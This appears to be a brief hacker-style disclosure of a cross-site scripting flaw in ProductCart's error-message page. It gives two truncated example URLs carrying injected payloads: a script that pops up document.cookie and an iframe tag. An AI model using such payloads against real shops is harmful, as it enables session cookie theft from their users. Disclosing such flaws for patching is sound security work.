##################### # ProductCart XSS # # Vulnerability # # found by atomix # ##################### i came across the fact that in an area of ProductCart you are able to manipulate the error message, therefore allowing tags such as &lt;script&gt; and <iframe> to be used: http://www.website.com/ProductCart/pc/msg....script>alert (document.cookie);&lt;/script&gt; http://www.website.com/ProductCart/pc/msg....C:\"% 20width=400%20height=400></iframe> -atomix | atom b0mbs